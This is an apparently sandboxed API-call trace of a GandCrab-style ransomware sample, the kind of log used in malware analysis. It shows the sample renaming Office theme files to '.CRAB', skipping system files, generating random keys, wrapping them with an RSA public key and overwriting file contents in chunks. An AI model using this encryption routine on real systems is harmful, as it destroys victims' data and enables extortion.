	[0116.140] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0116.176] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0116.196] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0116.216] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.240] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.240] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0116.242] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.246] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0116.254] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0116.269] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0116.287] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.290] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.291] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0116.292] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.296] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x3f73b, lpOverlapped=0x0) returned 1
	[0116.318] VirtualAlloc (lpAddress=0x0, dwSize=0x3f740, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0116.321] VirtualAlloc (lpAddress=0x0, dwSize=0x3f740, flAllocationType=0x3000, flProtect=0x4) returned 0x33a0000
	[0116.326] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.327] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffc08c5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.327] WriteFile (in: hFile=0x3fc, lpBuffer=0x33a0000*, nNumberOfBytesToWrite=0x3f740, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x33a0000*, lpNumberOfBytesWritten=0x3147f1c*=0x3f740, lpOverlapped=0x0) returned 1
	[0116.328] VirtualFree (lpAddress=0x33a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.329] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.333] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0116.333] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0116.333] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0116.333] CloseHandle (hObject=0x3fc) returned 1
	[0116.407] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.407] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.408] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.408] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.408] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.408] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.409] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0116.409] lstrcmpW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2=".") returned 1
	[0116.409] lstrcmpW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2="..") returned 1
	[0116.409] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033937[[fn=Vapor Trail]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx"
	[0116.409] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0116.409] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned 135
	[0116.409] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned 135
	[0116.409] lstrlenW (lpString=".thmx") returned 5
	[0116.409] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0116.409] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0116.410] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.410] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned 135
	[0116.410] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned 135
	[0116.410] lstrcmpiW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2="desktop.ini") returned 1
	[0116.410] lstrcmpiW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2="autorun.inf") returned 1
	[0116.410] lstrcmpiW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2="ntuser.dat") returned 1
	[0116.410] lstrcmpiW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2="iconcache.db") returned 1
	[0116.410] lstrcmpiW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2="bootsect.bak") returned 1
	[0116.410] lstrcmpiW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2="boot.ini") returned 1
	[0116.410] lstrcmpiW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2="ntuser.dat.log") returned 1
	[0116.410] lstrcmpiW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2="thumbs.db") returned 1
	[0116.410] lstrcmpiW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0116.410] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0116.410] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx.CRAB") returned 140
	[0116.411] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033937[[fn=vapor trail]].thmx")) returned 0x20
	[0116.411] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx", dwFileAttributes=0x20) returned 1
	[0116.411] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033937[[fn=vapor trail]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033937[[fn=vapor trail]].thmx.crab")) returned 1
	[0116.412] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0116.413] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx.CRAB"
	[0116.413] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx.CRAB.CRAB"
	[0116.413] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0116.413] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0116.414] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0116.414] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0116.414] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0116.414] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0116.414] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.414] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ec00) returned 1
	[0116.415] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0116.415] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0116.415] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0116.415] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0116.415] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0116.415] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.416] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0116.416] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0116.416] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0116.417] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda46e0) returned 1
	[0116.417] CryptGetKeyParam (in: hKey=0xda46e0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0116.417] CryptEncrypt (in: hKey=0xda46e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0116.417] GetLastError () returned 0x0
	[0116.417] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0116.417] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6eb78) returned 1
	[0116.418] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda47e0) returned 1
	[0116.418] CryptGetKeyParam (in: hKey=0xda47e0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0116.418] CryptEncrypt (in: hKey=0xda47e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0116.418] GetLastError () returned 0x0
	[0116.418] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0116.418] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033937[[fn=vapor trail]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0116.419] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0116.419] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0116.419] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0116.497] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0116.510] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0116.531] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.534] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.534] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0116.536] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.540] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0116.582] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0116.594] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0116.613] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.617] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.617] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0116.619] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.623] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0116.630] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0116.643] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0116.665] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.669] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.669] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0116.671] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.675] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x71abc, lpOverlapped=0x0) returned 1
	[0116.682] VirtualAlloc (lpAddress=0x0, dwSize=0x71ac0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0116.688] VirtualAlloc (lpAddress=0x0, dwSize=0x71ac0, flAllocationType=0x3000, flProtect=0x4) returned 0x33e0000
	[0116.706] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.708] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff8e544, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.708] WriteFile (in: hFile=0x3fc, lpBuffer=0x33e0000*, nNumberOfBytesToWrite=0x71ac0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x33e0000*, lpNumberOfBytesWritten=0x3147f1c*=0x71ac0, lpOverlapped=0x0) returned 1
	[0116.709] VirtualFree (lpAddress=0x33e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.711] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.715] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0116.715] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0116.715] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0116.715] CloseHandle (hObject=0x3fc) returned 1
	[0116.789] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.789] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.789] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.790] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.790] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.790] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.790] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0116.790] lstrcmpW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2=".") returned 1
	[0116.791] lstrcmpW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2="..") returned 1
	[0116.791] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001103[[fn=Headlines]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx"
	[0116.791] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0116.791] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned 133
	[0116.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned 133
	[0116.795] lstrlenW (lpString=".thmx") returned 5
	[0116.795] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0116.795] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0116.795] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned 133
	[0116.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned 133
	[0116.795] lstrcmpiW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2="desktop.ini") returned 1
	[0116.795] lstrcmpiW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2="autorun.inf") returned 1
	[0116.795] lstrcmpiW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2="ntuser.dat") returned 1
	[0116.796] lstrcmpiW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2="iconcache.db") returned 1
	[0116.796] lstrcmpiW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2="bootsect.bak") returned 1
	[0116.796] lstrcmpiW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2="boot.ini") returned 1
	[0116.796] lstrcmpiW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2="ntuser.dat.log") returned 1
	[0116.796] lstrcmpiW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2="thumbs.db") returned 1
	[0116.796] lstrcmpiW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0116.796] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0116.796] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx.CRAB") returned 138
	[0116.796] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001103[[fn=headlines]].thmx")) returned 0x20
	[0116.796] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx", dwFileAttributes=0x20) returned 1
